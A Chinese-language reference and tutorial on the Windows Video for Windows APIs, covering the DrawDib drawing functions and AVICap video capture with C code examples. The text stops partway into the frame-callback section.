
DrawDibChangePalette

这个函数设置绘DIB所用的调色板。

BOOL DrawDibChangePalette(

HDRAWDIB hdd,

int iStart,

int iLen,

LPPALETTEENTRY lppe

);

参数:

hdd DrawDib DC的句柄。

iStart 调色板开始数。

iLen 调色板的数目。

lppe 调色板阵列的地址。

返回值

成功返回TRUE,否则FALSE

注 只有当当前DrawDib调色板是调用DrawDibRealize函数实现时,这个函数改变物理调色板。

如果颜色表没有改变,下次没有指定DDF_SAME_DRAWDrawDibDraw函数将隐含地调用DrawDibBegin函数。

DrawDibClose

这个函数关闭一个DrawDib DC并释放DrawDib申请的资源。

BOOL DrawDibClose(

HDRAWDIB hdd

);

参数

hdd DrawDib DC的句柄。

返回值

成功返回TRUE,否则FALSE

DrawDibDraw

这个函数将DIB绘至屏幕。

BOOL DrawDibDraw(

HDRAWDIB hdd,

HDC hdc,

int xDst,

int yDst,

int dxDst,

int dyDst,

LPBITMAPINFOHEADER lpbi,

LPVOID lpBits,

int xSrc,

int ySrc,

int dxSrc,

int dySrc,

UINT wFlags

);

参数

hdd DrawDib DC的句柄。

hdc DC的句柄。

xDstyDst MM_TEXT坐标系,目标矩形左上角的xy坐标。

dxDstdyDst MM_TEXT坐标系下,目标矩形的宽度和高度。如果dxDst-1,则使用位图的宽度;如果dyDst-1,则使用位图的高度。

lpbi 包含图象格式的BITMAPINFOHEADER结构的地址。DIB的颜色表紧跟着格式后,并且biHeight成员必须为正值;DrawDibDraw不能绘制倒置的DIB

lpbits 包含位图位的缓冲的地址。

xSrcySrc 以象素为单位,源矩形左上角的xy坐标。坐标(00)是位图的左上角。

dxSrcdySrc 以象素为单位,源矩形的宽度和高度。

wFlags 可用的绘图标志。如下值被定义:

DDF_BACKGROUNDPAL 实现作为背景的调色板,保留当前显示所使用的调色板不变。这个值只有当DDF_SAME_HDC未被设置时才有效。

DDF_DONTDRAW 当前图象已解压但未绘。这个标志取代了DDF_PREROLL标志。

DDF_FULLSCREEN 不被支持。

DDF_HALFTONE 不管DIB的调色板如何而把DIB抖动成标准调色板。如果应用程序使用了DrawDibBegin,在DrawDibBegin中设置而不在DrawDibDraw中。

DDF_HURRYUP 数据并不需要被绘(它可以被绘)并且DDF_UPDATE不用理会这个信息。DrawDib只有当需要去构建另一帧时才检查这个值;否则,这个值被忽略。

这个值通常用来同步视频和音频。当同步数据时,应用程序应当用这个值发送图象以防止驱动器需要缓冲帧来解压后续帧。

DDF_NOTKEYFRAME DIB数据不是关键帧。

DDF_SAME_HDC 使用当前DC句柄以及与当前句柄相关联的调色板。

DDF_SAME_DRAW DrawDibDraw使用当前的绘制参数。只有当从使用DrawDibDrawDrawDibBegin起,lpbidxDextdyDestdxSrcdySrc就未改变才用这个值。DrawDibDraw经常检查这些参数,如果它们改变了,DrawDibBegin则准备绘图的DrawDib DC。这个标志取代了DDF_SAME_DIBDDF_SAME_SIZE标志。

DDF_UPDATE 最后缓存的图象需要绘制。如果用这个值绘制失败,则缓冲的图象不在有效,并且在显示被更新前,需要指定一幅新的图象。

返回值

成功返回TRUE,否则FALSE

DDF_DONTDRAW使DrawDibDraw解压但不显示一幅图象。一个调用DrawDibDraw的序列是指定DDF_UPDATE来显示图象。

如果DrawDib DC没有指定一个屏幕缓冲,指定DDF_DONTDRAW会造成这帧被立即绘到屏幕。序列调用DrawDibDraw指定DDF_UPDATE会失败。

尽管DDF_UPDATDDF_DONTDRAW可以在不同时间设置,它们可以一起用来创建脱屏图象。当脱屏图象完成后,可以调用DrawDibDraw来显示图象。

DrawDibEnd

这个函数清除由DrawDibBeginDrawDibDraw函数设置的标志和DrawDib DC的其它设置。

BOOL DrawDibEnd(

HDRAWDIB hdd

);

参数

hdd 要释放的DrawDib DC的句柄。

返回值

成功返回TRUE,否则FALSE

DrawDibGetBuffer

这个函数清除由DrawDib用来解压的缓冲的地址。

LPVOID DrawDibGetBuffer(

HDRAWDIB hdd,

LPBITMAPINFOHEADER lpbi,

DWORD dwSize,

DWORD dwFlags

);

参数

hdd 要释放的DrawDib DC的句柄。

lpbi BITMAPINFO结构的地址。这个结构由BITMAPINFOHEADER结构和位图使用的256色调色板所定义的颜色表。

dwSize 通过lpbiBITMAPINFO结构所指的字节大小。

dwFlags 保留,必须为0

返回值

返回缓冲的地址或者如果没有用到缓冲返回NULL。如果lpbi不为NULL,它填充了一个描绘缓冲的BITMAPINFO的结构。

DrawDibGetPalette

这个函数清除由DrawDib DC所使用的调色板。

HPALETTE DrawDibGetPalette(

HDRAWDIB hdd

);

参数

hdd 要释放的DrawDib DC的句柄。

返回值

成功返回一个调色板句柄,否则返回NULL

这个函数假设DrawDib DC包含了一个有效的调色板,隐含着这样的一个条件:对这个函数的调用必须在DrawDibDrawDrawDibBegin函数之后。

DrawDibOpen

这个函数打开DrawDib库为使用和创建一个绘图的DrawDib DC作准备。

HDRAWDIB DrawDibOpen(VOID);

参数

这个函数不需要参数。

返回值

成功返回一个DrawDib DC的句柄,否则为NULL

当同时绘多个DIB时,为同时在屏的每个图象创建一个DrawDib DC

DrawDibProfileDisplay

这个函数决定了当用DrawDib函数时显示系统的设置。

BOOL DrawDibProfileDisplay(

LPBITMAPINFOHEADER lpbi

);

参数

lpbi 包含位图信息的BITMAPINFOHEADER结构。可以通过指定NULL来确认配置信息是当前的。如果配置信息不是当前的,DrawDib会重新运行配置测试来得到当前设置信息。如果把这个参数设为NULL来调用DrawDibProfileDisplay返回值是没有意义的。

返回值

返回值指出了这个显示系统的最快绘制和拉伸能力。如果位图格式不被支持,这个值为0或一个或更多的下列值:

PD_CAN_DRAW_DIB DrawDib能用这种格式绘图象。拉伸可能被支持或不被支持。

PD_CAN_STRETCHDIB DrawDib能用这种格式拉伸或绘制图象。

PD_STRETCHDIB _1_1_OK StretchDIBits用这种格式绘未拉伸的图象快于另一种方式。

PD_STRETCHDIB _1_2_OK StretchDIBits用这种格式绘以12拉伸的图象快于另一种方式。

PD_STRETCHDIB _1_N_OK StretchDIBits用这种格式绘以1N拉伸的图象快于另一种方式。

DrawDibRealize

这个函数为用指定DC实现DrawDib DC 的调色板。

UINT DrawDibRealize (

HDRAWDIB hdd ,

HDC hdc ,

BOOL fBackground

) ;

参数

hdd DrawDib DC hdd DrawDib DC的句柄。

hdc 包含调色板的DC的句柄。

fBackground 背景调色板标志。如果此值非零,此调色板为背景调色板。如果此值为零并且DC与另一个窗口相连,当窗口拥有输入焦点时逻辑调色板变为背景调色板。(当窗口风格是CS_OWNDC或当DC是用GetDC函数得到的时,一个DC就与一个窗口相连)。

返回值

返回在系统调色板中映射了不同值的逻辑调色板中的入口值。如果发生了错误或没有要更新的颜色,返回0

注意

DrawDibDraw函数并指定DDF_BACKGROUNDPAL标志来选择DrawDib DC的调色板作背景调色板。

DrawDibSetPalette

这个函数设置绘DIB所用的调色板。

BOOL DrawDibSetPalette(

HDRAWDIB hdd ,

HPALETTE hpal

) ;

参数

hdd DrawDib DC的句柄。

hpal 调色板的句柄。指定NULL则使用缺省调色板。

返回值

成功返回TRUE,否则返回FALSE

DrawDibStart

DrawDibStart函数为流回放准备 DrawDib DC

BOOL DrawDibStart

HDRAWDIB hdd ,

LONG rate

;

参数

hdd DrawDib DC的句柄。

rate 回放率 每帧以毫秒计。

返回值

成功返回TRUE,否则返回FALSE

DrawDibStop

这个函数释放用于流回放的DrawDib DC所占用的资源。

BOOL DrawDibStop

HDRAWDIB hdd

;

参数

hdd DrawDib DC的句柄。

返回值

成功返回TRUE,否则返回FALSE

DrawDibTime

这个函数得到关于绘制操作的时间和调试操作的时间信息。

BOOL DrawDibTime

HDRAWDIB hdd

LPDRAWDIBTIME lpddtime

) ;

参数

hdd DrawDib DC的句柄。

lpddtime DrawDibTime的结构地址。

返回值

成功返回TRUE,否则返回FALSE

注意

这个函数只存在于W32软件开发库的调试版本。

 

作者:罗隽

内容
目 录

一. 视频捕获快速入门 2

二.基本的捕获设置 3

1.设置捕获速度: 3

2.设置终止捕获 4

3.捕获的时间限制 4

三.关于捕获窗口 4

1.创建一个AVICAP捕获窗口 5

2.将一个捕获窗口连接至捕获设备 5

3. 父窗口与子窗口的交互 5

4.捕获窗口的状态 6

四.视频捕获驱动和音频驱动 6

1.视频捕获驱动的性能: 6

2.视频对话框: 6

3.PREVIEW 和 OVERLAY模式: 7

4.视频格式 7

5.视频捕获设置 7

6.声频格式 8

五.使用视频捕获 8

1.创建捕获窗口(CREATING A CAPTURE WINDOW) 8

2.连接到捕获驱动(CONNECTING TO A CAPTURE DRIVER) 9

3.列举所有已安装的捕获驱动(ENUMERATING INSTALLED CAPTURE DRIVERS) 9

4.得到捕获驱动的性能(OBTAINING THE CAPABILITIES OF A CAPTURE DRIVER) 9

5.得到捕获窗口的状态(OBTAINING THE STATUS OF A CAPTURE WINDOW) 10

6.显示对话框设置视频特征(DISPLAYING DIALOG BOXES TO SET VIDEO CHARACTERISTICS) 10

7.得到和设置视频格式(OBTAINING AND SETTING THE VIDEO FORMAT) 11

8. 预览视频(PREVIEWING VIDEO) 12

9.将视频设置为OVERLAY模式(ENABLING VIDEO OVERLAY) 12

10.命名捕获文件(NAMING THE CAPTURE FILE) 12

11.格式化声频捕获(FORMATTING AUDIO CAPTURE) 12

12.改变视频捕获设置(CHANGING A VIDEO CAPTURE SETTING) 13

13.捕获数据(CAPTURING DATA) 13

14.增加一个信息块(ADDING AN INFORMATION CHUNK) 14

15.在程序中加入一个回调函数(ADDING CALLBACK FUNCTIONS TO AN APPLICATION) 14

16.创建一个状态回调函数(CREATING A STATUS CALLBACK FUNCTION) 16

17.创建一个错误回调函数( CREATING AN ERROR CALLBACK FUNCTION) 17

18.创建一个框架回调函数(CREATING A FRAME CALLBACK FUNCTION) 18

六.将四个标准对话框改成函数调用形式 18

AUDIOFORMAT对话框 19

VIDEOFORMAT对话框 19

VIDEOSOURCE对话框 20

VIDEO COMPRESSION对话框 20


 

前 言

视频捕获是指由专用的视频采集卡捕获声频和视频信息,然后将其进行数据化处理,再经过软件的压缩进行处理,这时就可对这些数据进行保存、回放、传输等各种操作。

Windows专门提供了Video for Windows来对视频处理进行支持,提供的接口可以被大多数的视频采集卡支持,并有多种视频压缩驱动供选择(当然视频压缩可以自己开发),采集卡支持摄像头,TV等多种输入。


一. 视频捕获快速入门

视频捕捉将一个视频流和音频流数字化, 然后存储在硬盘或其他存储介质上.

一个AVICap视窗口句柄描述了声频与视频流的细节, 这样就使你的应用程序从AVI文件格式, 声频视频缓冲管理, 低层声频视频驱动访问等等解脱出来, AVICap为应用程序提供了一个灵活的介面, 你可以仅仅使用如下几行代码就可以将视频捕捉加入你的程序:

hWndC = capCreateCaptureWindow ( “My Own Capture Window”,

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0 /* wIndex */, 0L);

SendMessage (hWndC, WM_CAP_SEQUENCE, 0, 0L);

一个宏其实也是使用SendMessage, 只不过提供给程序一个更易读的代码而已, 下面的这些示例就是使用宏的方法将视频捕捉加入程序:

hWndC = capCreateCaptureWindow ( “My Own Capture Window”,

WS_CHILD | WS_VISIBLE , 0, 0, 160, 120, hwndParent, nID);

capDriverConnect (hWndC, 0);

capCaptureSequence (hWndC);


当你创建了一个AVICap类的捕捉窗口并将它连接到一个视频驱动时, 此捕捉窗口即可以开始捕捉数据, 你的程序可以简单的发送WM_CAP_SEQUENCE消息(或者使用capCaptureSequence宏)来开始捕捉.

如果是缺省的设置, WM_CAP_SEQUENCE会开始捕捉视频音频流到CAPTURE.AVI文件中, 直到下面的某一事件发生为止:

用户按下了ESC键或者一个鼠标键

你的应用程序终止或异常中断捕捉操作

磁盘已满


在一个应用程序里, 你可以发送WM_CAP_STOP消息来终止捕捉数据(或者使用capCaptureStop宏), 你也可以发送WM_CAP_ABORT消息(或者使用capCaptureAbort宏)来终止.


二.基本的捕获设置

基 本的捕获设置包括:设置捕获速度(每秒捕获多少帧),是否同时捕获声频,捕获缓冲,允许最大丢失多少帧,是否使用DOS内存,以及用键盘的哪个键或鼠标的 哪个键来终止捕获等等。这些基本的设置都可以使用CAPTUREPARAMS结构来描述,你可以使用capCaptureGetSetup宏来得到当前的 设置,然后改变此结构的成员变量,再使用capCaptureSetSetup宏设置新的设置。

例如:

1.设置捕获速度:

捕 捉速度是指捕捉任务每秒钟捕获的帧数, 你可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的捕捉速度, 当前的捕捉速度保存在CAPTUREPARAMS结构的dwRequestMicroSecPerFrame成员变量中, 你可以通过设置此变量来改变当前设置, 单位是每毫秒连续的帧数, 你可以发送WM_CAP_SET_SEQUENCE_SETUP消息(或者使用capCaptureSetSetup宏), dwRequestMicroSecPerFrame的值是66667, 相当于每秒15帧.


2.设置终止捕获

你可以允许用户按下某键或某组合键或者鼠标的左右键来终止一个捕获任务, 如果是实时的捕获, 则捕获的文件将会被丢弃; 如果是单步捕获, 在终止之前所捕获的内容将会被保存.

你 可以通过发送WM_CAP_GETQUENCE_SETUP消息(或者使用capCaptureGetSetup宏)来得到当前的设置, 当前的按键设置保存在CAPTUREPARAMS的vKeyAbort成员中, 当前的鼠标设置保存在fAbortLeftMouse和fAbortRightMouse成员中. 你可以设置新的按键或按键组合, 或者鼠标左右键, 当你修改的CAPTUREPARAMS后,应该发送WM_CAP_SET_SEQUENCE_SETUP消息来进行更新(或者使用 capCaptureSetSetup宏). 缺省的按键是VK_ESCAPE. 你必须在指定按键之前使用RegisterHotKey函数, 鼠标缺省的值是fAbortLeftMouse和fAbortRightMouse都为TRUE.


3.捕获的时间限制

CAPTUREPARAMS结构中的fLimitEnabled指示是否有时间限度, wTimeLimit指示最大的持续时间, 单位为秒.

得 到fLimitEnabled和wTimeLimit的值可以发送WM_CAP_GET_SEQUENCE_SETUP消息(或使用 capCatureGetSetup宏), 当设置了这些成员变量后, 应该发送消息WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)来更新CAPTUREPARAMS结 构.


三.关于捕获窗口

在捕获之前必须创建一个捕获窗口(capture window),在发送消息或使用宏的过程中都需要使用此窗口。

1.创建一个AVICap捕获窗口

你可以使用capCreateCaptureWindow函数来创建一个AVICap捕获窗口, 此函数将会返回一个句柄, 此句柄以后在发送消息时要用.

你可以在一个程序里创建一个或多个捕获窗口, 然后给每一个窗口连接不同的捕获设置.


2.将一个捕获窗口连接至捕获设备

你可以动态的在一个捕获窗口与一个捕获设备之前连接或断接, 你可以发送WM_CAP_DRIVER_CONNECT消息来使一个捕获窗口与一个捕获设备连接或关联. 当连接上以后, 你就可以通过捕获窗口向捕获设备发送各种消息.

如果你的系统里装有多个捕获设备, 你可以在发送WM_CAP_DRIVER_CONNECT消息时用wParam参数指定使用哪一个, 此参数是登记在SYSTEM.INI文件的[drivers]一节里的列表中的某一项, 0为第一个.

你可以使用capGetDriverDescription函数来得到已安装的捕获设备的名称及版本, 这样你的程序就可以列举所有已安装的捕获设备和驱动, 这样用户就可以选择其中的一个来与你的捕获窗口连接.

你可以发送WM_CAP_DRIVER_GET_NAME消息(或capDriverGetName宏)来得到连接到捕获窗口的捕获设备的名称, 得到版本发送WM_CAP_DRIVER_GET_VERSION消息(或capDriverGetVersion宏)

你可以发送WM_CAP_DRIVER_DISCONNECT消息(或capDriverDisconnect宏)来断接.


3. 父窗口与子窗口的交互

一些象WM_PALETTECHANGED和WM_QUERYNEWPALETTE的系统级消息只能发送到顶级窗口或OVERLAPPED窗口, 如果一个捕获窗口是子窗口,就必须通过父窗口转送.

同样的, 如果父窗口的尺寸改变了, 它就需要通知捕获窗口, 相反地, 如果捕获窗口的尺寸改变了, 捕获窗口就需要发送消息给父窗口, 一个简单的方法就是始终保持捕获窗口的尺寸与视频流的尺寸一致, 并随时将尺寸的改变通知父窗口.


4.捕获窗口的状态

你可以发送WM_CAP_GET_STATUS消息(或capGetStatus宏)来得到当前捕获窗口的状态, 得到的是一个CAPSTATUS结构的拷贝, 它包含图片的尺寸, 卷轴的当前位置, overlay和preview是否已设置.

因为CAPSTATUS信息是动态的, 你的程序应该只要捕获的视频流的尺寸或格式可能发生了改变就应该进行刷新(例如: 显示了捕获设备的视频格式以后).

改变捕获窗口的尺寸并不影响实际的捕获的视频流的尺寸, 视频捕获设备的格式对话框捕获频流的尺寸.


四.视频捕获驱动和音频驱动

1.视频捕获驱动的性能:

你可以通过发送WM_CAP_DRIVER_GET_CAPS消息(或者capDriverGetCaps宏)来得到当前连接的视频驱动的硬件性能. 得到的信息保存在CAPDRIVERCAPS结构中.


2.视频对话框:

每一个视频驱动能够提供四个对话框来控制视频捕获和数字化处理, 定义压缩品质等, 这些对话框都定义在视频捕获驱动中.

Video Source对话框用于控制选择视频来源, 此对话框列举了此视频捕获卡连接的所有视频源(典型的例如:SVHS和合成输入), 并提供了改变色调, 对比度, 饱和度. 如果视频驱动支持此对话框, 你就可以显示并更新它, 使用WM_CAP_DLG_VIDEOSOURCE消息(或capDlgVideoSource宏).

Video Format对话框定义视频帧的尺寸以及精度, 视频捕获卡的压缩设置. 如果卡支持的话, 可以发送消息WM_CAP_DLG_VIDEOFORMAT消息或(capDlgVideoFormat宏).

Video Display对话框控制在视频捕获期间在显示器上的显示, 此控制不会影响视频数字数据, 但是他们可能会影响数字信号的表现形式, 例如: 如果捕获设备支持overlay, 可能允许改变色调和饱和度, 关键色彩 或者overlay队列. 如果卡支持, 你可以发送WM_CAP_DLG_VIDEODISPLAY消息(或者使用capDlgVideoDisplay宏).

Video Compression对话框控制压缩品质, 如果卡支持, 发送消息WM_CAP_DLG_VIDEOCOMPRESSION(或capDlgVideoCompression宏).


3.Preview 和 Overlay模式:

一个视频捕获驱动对进入的视频流有两种工作模式: Preview模式和overlay模式, 如果一个捕获驱动能够执行两种方法, 用户可以在其中选择一种.

Preview模式把从捕获硬件传来的数据送入系统内存并使用图形设备介面(GDI)将数字化帧显示在捕获窗口内. 应用程序可以在父窗口失去焦点时减缓显示速度, 当重新又得到焦点后加快显示速度, 此种模式要占用大量CPU时间.

有三种消息控制Preview操作:

WM_CAP_SET_PREIVEW消息(capPreview宏)允许或禁止preview模式

WM_CAP_SET_PREVIEWRATE(capPreviewRate宏)当帧在preview模式显示时设置速度.

WM_CAP_SET_SCALE(capPreviewScale宏)允许或禁止preview视频的缩放比例.

当preview和scaling同时使用, 捕获的视频帧将会根据捕获窗口的尺寸自动缩放, 允许preview模式会自动关闭overlay模式.

overlay模式是一个硬件函数它将数据送入捕获缓冲区中因而不占用CPU资源. 你可以发送消息WM_CAP_SET_OVERLAY(或capOverlay宏)给捕获窗口来启用或终止overlay模式, 允许overlay模式会自动禁止preview模式.

你同时也可以在preview模式或overlay模式里发送WM_CAP_SET_SCROLL消息(或capSetScrollPos宏)来设置视频帧的客户区卷轴位置.


4.视频格式

你 可以通过发送WM_CAP_GET_VIDEOFORMAT消息(或capGetVideoFormat和capGetVideoFormatSize 宏)来得到视频格式的结构或结构的尺寸. 你可以通过发送CAP_SET_VIDEOFORMAT消息(或capSetVideoFormat宏)来设置视频格式.


5.视频捕获设置

CAPTUREPARMS结构包含了对视频捕获流的控制参数, 你可以完成以下这些任务:

指定帧数

指定分配多少视频缓冲

允许或禁止声频捕获

指定捕获的时间间隔

指定在捕获的过程中是否使用MCI设置(VCR或者videodisc)

指定终止流的键盘或鼠标

specify the type of video averaging applied during capture.


得到:WM_CAP_GET_SEQUENCE_SETUP消息(或capCaptureGetSetup宏)

设置:WM_CAP_SET_SEQUENCE_SETUP消息(或capCaptureSetSetup宏)


6.声频格式

你 可以通过发送WM_CAP_GET_AUDIOFORMAT消息(或capGetAudioFormat宏和capGetAudioFormatSize 宏)来得到当前捕获音频数据的格式或尺寸格式。缺省的声频格式是:单声道、8位、11kHz PCM。 当你使用WM_CAP_GET_AUDIOFORMAT时,总是使用WAVEFORMATEX结构。

设置发送消息WM_CAP_SET_AUDIOFORMAT消息(或capSetAudioFormat宏),可以传送WAVEFORMAT,WAVEFORMATEX,PCMWAVEFORMAT结构指针。

五.使用视频捕获

1.创建捕获窗口(Creating a Capture Window)

hWndC = capCreateCaptureWindow (

(LPSTR) “My Capture Window”, // window name if pop-up

WS_CHILD | WS_VISIBLE, // window style

0, 0, 160, 120, // window position and dimensions

(HWND) hwndParent,

(int) nID /* child ID */);


2.连接到捕获驱动(Connecting to a Capture Driver)

下面的例子是将MSVIDEO驱动连接到句柄为hWndC的捕获窗口, 然后调用capDriverDisconnect宏来断接.

fOK = SendMessage (hWndC, WM_CAP_DRIVER_CONNECT, 0, 0L);

//

// Or, use the macro to connect to the MSVIDEO driver:

// fOK = capDriverConnect(hWndC, 0);

//

// Place code to set up and capture video here.

//

capDriverDisconnect (hWndC);


3.列举所有已安装的捕获驱动(Enumerating Installed Capture Drivers)

下面的例子使用capGetDriverDescription函数得到已安装的捕获驱动的名称及版本:

char szDeviceName[80];

char szDeviceVersion[80];


for (wIndex = 0; wIndex < 10; wIndex++)

{

if (capGetDriverDescription (wIndex, szDeviceName,

sizeof (szDeviceName), szDeviceVersion,

sizeof (szDeviceVersion))

{

// Append name to list of installed capture drivers

// and then let the user select a driver to use.

}

}


4.得到捕获驱动的性能(Obtaining the Capabilities of a Capture Driver)

发 送WM_CAP_DRIVER_GET_CAPS消息可以得到捕获驱动的性能,并保存入一个CAPDRIVERCAPS结构.每当程序连接一个新的捕获驱 动到一个捕获窗口时, 就应该更新CAPDRIVERCAPS结构. 下面的程序举例说明了如何使用capDriverGetCaps宏来得到捕获驱动的性能:


CAPDRIVERCAPS CapDrvCaps;

SendMessage (hWndC, WM_CAP_DRIVER_GET_CAPS,

sizeof (CAPDRIVERCAPS), (LONG) (LPVOID) &CapDrvCaps);

// Or, use the macro to retrieve the driver capabilities.

// capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


5.得到捕获窗口的状态(Obtaining the Status of a Capture Window)

下面的例子使用SetWindowPos函数使捕获窗口与进来的视频流尺寸保持一致, 视频流的基本信息是使用capGetStatus宏得到的, 保存在CAPSTATUS结构中.


CAPSTATUS CapStatus;

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

SetWindowPos(hWndC, NULL, 0, 0, CapStatus.uiImageWidth,

CapStatus.uiImageHeight, SWP_NOZORDER | SWP_NOMOVE);


6.显示对话框设置视频特征(Displaying Dialog Boxes to Set Video Characteristics)

每个视频捕获卡一般能提供三个不同的对话框用于控制视频捕获及数字化处理. 下面的例子说明如何显示这些对话框, 在显示这些对话框之前,使用了capDriverGetCaps宏来检查CAPDRIVERCAPS结构, 以检测该卡是否有显示这些对话框:


CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


// Video source dialog box.

if (CapDriverCaps.fHasDlgVideoSource)

capDlgVideoSource(hWndC);


// Video format dialog box.

if (CapDriverCaps.fHasDlgVideoFormat)

{

capDlgVideoFormat(hWndC);

// Are there new image dimensions?

capGetStatus(hWndC, &CapStatus, sizeof (CAPSTATUS));

// If so, notify the parent of a size change.

}


// Video display dialog box.

if (CapDriverCaps.fHasDlgVideoDisplay)

capDlgVideoDisplay(hWndC);


7.得到和设置视频格式(Obtaining and Setting the Video Format)

BITMAPINFO 结构的长度既适应于标准的也适应于压缩的数据格式, 所有程序必须总是询问此结构的尺寸以便在得到当前的视频格式之前分配内存. 下面的例子就是使用capGetVideoFormatSize宏来得到缓冲区尺寸并调用capGetVideoFormat宏来得到当前的视频格式.


LPBITMAPINFO lpbi;

DWORD dwSize;

dwSize = capGetVideoFormatSize(hWndC);

lpbi = GlobalAllocPtr (GHND, dwSize);

capGetVideoFormat(hWndC, lpbi, dwSize);


// Access the video format and then free the allocated memory.


程序可以使用capSetVideoFormat宏(或WM_CAP_SET_VIDEOFORMAT消息)发送一个BITMAPINFO头结构给捕获窗口, 因为视频格式是设备细节, 你的程序应该检查返回值以便确定此格式是否已被接受.


8. 预览视频(Previewing Video)

下面的例子使用capPreviewRate宏来设置每66毫秒显示一帧, 并使用capPreview宏将它放置在捕获窗口里.


capPreviewRate(hWndC, 66); // rate, in milliseconds

capPreview(hWndC, TRUE); // starts preview

// Preview

capPreview(hWnd, FALSE); // disables preview


9.将视频设置为overlay模式(Enabling Video Overlay)

下面的例子: capDriverGetCaps宏确定此捕获卡是否有overlay功能, 如果有就使用宏来设置它


CAPDRIVERCAPS CapDrvCaps;

capDriverGetCaps(hWndC, &CapDrvCaps, sizeof (CAPDRIVERCAPS));


if (CapDrvCaps.fHasOverlay)

capOverlay(hWndC, TRUE);


10.命名捕获文件(Naming the Capture File)

下面的例子: 使用capFileSetCaptureFile宏来指定预备文件名为:MYCAP.AVI, capFileAlloc宏预先指定它的大小为5M.


char szCaptureFile[] = “MYCAP.AVI”;

capFileSetCaptureFile( hWndC, szCaptureFile);

capFileAlloc( hWndC, (1024L * 1024L * 5));


11.格式化声频捕获(Formatting Audio Capture)

下面的例子使用capSetAudioFormat来设置声频格式为:11kHz, PCM 8位, 立体声


WAVEFORMATEX wfex;

wfex.wFormatTag = WAVE_FORMAT_PCM;

wfex.nChannels = 2; // Use stereo

wfex.nSamplesPerSec = 11025;

wfex.nAvgBytesPerSec = 22050;

wfex.nBlockAlign = 2;

wfex.wBitsPerSample = 8;

wfex.cbSize = 0;


capSetAudioFormat(hWndC, &wfex, sizeof(WAVEFORMATEX));


12.改变视频捕获设置(Changing a Video Capture Setting)

下面的例子使用capCaptureGetSetup和capCaptureSetSetup宏得将捕获帧数从缺省的15帧改成每秒10帧.


CAPTUREPARMS CaptureParms;

float FramesPerSec = 10.0;


capCaptureGetSetup(hWndC, &CaptureParms, sizeof(CAPTUREPARMS));


CaptureParms.dwRequestMicroSecPerFrame = (DWORD) (1.0e6 /FramesPerSec);

capCaptureSetSetup(hWndC, &CaptureParms, sizeof (CAPTUREPARMS));


13.捕获数据(Capturing Data)

下面的例子使用capCaptureSequence宏来开始捕获视频并使用capFileSaveAs宏来将捕获的数据拷贝至NEWFILE.AVI文件中.


char szNewName[] = “NEWFILE.AVI”;

// Set up the capture operation.

capCaptureSequence(hWndC);

// Capture.

capFileSaveAs(hWndC, szNewName);


14.增加一个信息块(Adding an Information Chunk)

如 果你需要在你的程序捕获的声频和视频数据中加入你的其他信息, 你可以创建一个信息块并将它们插入捕获文件中, 信息块可以包含一些典型的信息, 例如:版权信息,视频来源, 外部定位信息等. 下面的例子使用capFileSetInfoChunk宏来插入一个信息块, 里面包含了一个SMPTE的时间代码.


// This example assumes the application controls

// the video source for preroll and postroll.

CAPINFOCHUNK cic;

// .

// .

// .

cic.fccInfoID = infotypeSMPTE_TIME;

cic.lpData = “00:20:30:12″;

cic.cbData = strlen (cic.lpData) + 1;

capFileSetInfoChunk (hwndC, &cic);


15.在程序中加入一个回调函数(Adding Callback Functions to an Application)

一个程序可以为捕获窗口登记一个回调函数以便在以下的这些情况下通知程序.


状态改变

错误发生

视频框架和声频缓冲区变得可用

程序应用在捕获视频流的过程中接收


下面的例子创建一个捕获窗口并登记状态,错误,视频流和框架回调函数在消息处理对列中, 也包括了一个终止回调函数的说明.


case WM_CREATE:

{

char achDeviceName[80]

char achDeviceVersion[100]

char achBuffer[100]

WORD wDriverCount = 0

WORD wIndex

WORD wError

HMENU hMenu


// Create a capture window using the capCreateCaptureWindow macro.

ghWndCap = capCreateCaptureWindow((LPSTR)”Capture Window”,

WS_CHILD | WS_VISIBLE, 0, 0, 160, 120, (HWND) hWnd, (int) 0);


// Register the error callback function using the

// capSetCallbackOnError macro.

capSetCallbackOnError(ghWndCap, fpErrorCallback);


// Register the status callback function using the

// capSetCallbackOnStatus macro.

capSetCallbackOnStatus(ghWndCap, fpStatusCallback);


// Register the video-stream callback function using the

// capSetCallbackOnVideoStream macro.

capSetCallbackOnVideoStream(ghWndCap, fpVideoCallback);


// Register the frame callback function using the

// capSetCallbackOnFrame macro.

capSetCallbackOnFrame(ghWndCap, fpFrameCallback);


// Connect to a capture driver


break;

}

case WM_CLOSE:

{

// Use the capSetCallbackOnFrame macro to

// disable the frame callback. Similar calls exist for the other

// callback functions.


capSetCallbackOnFrame(hWndC, NULL);


break;

}


16.创建一个状态回调函数(Creating a Status Callback Function)

下面的例子是创建一个简单的状态回调函数,登记此回调函数使用capSetCallbackOnStatus宏.


// StatusCallbackProc: status callback function

// hWnd: capture window handle

// nID: status code for the current status

// lpStatusText: status text string for the current status

//

LRESULT PASCAL StatusCallbackProc(HWND hWnd, int nID,

LPSTR lpStatusText)

{

if (!ghWndMain)

return FALSE;


if (nID == 0) { // Clear old status messages.

SetWindowText(ghWndMain, (LPSTR) gachAppName);

return (LRESULT) TRUE;

}

// Show the status ID and status text…

wsprintf(gachBuffer, “Status# %d: %s”, nID, lpStatusText);


SetWindowText(ghWndMain, (LPSTR)gachBuffer);

return (LRESULT) TRUE;

}


17.创建一个错误回调函数( Creating an Error Callback Function)

下面的例子是创建一个简单的错误回调函数,登记此回调函数使用capsetCallbackOnError宏:


// ErrorCallbackProc: error callback function

// hWnd: capture window handle

// nErrID: error code for the encountered error

// lpErrorText: error text string for the encountered error

//

LRESULT PASCAL ErrorCallbackProc(HWND hWnd, int nErrID,

LPSTR lpErrorText)

{

if (!ghWndMain)

return FALSE;


if (nErrID == 0) // Starting a new major function.

return TRUE; // Clear out old errors.


// Show the error identifier and text.

wsprintf(gachBuffer, “Error# %d”, nErrID);


MessageBox(hWnd, lpErrorText, gachBuffer,

MB_OK | MB_ICONEXCLAMATION);


return (LRESULT) TRUE;

}


18.创建一个框架回调函数(Creating a Frame Callback Function)

登记此回调函数使用capSetCallbackOnFrame宏:


// FrameCallbackProc: frame callback function

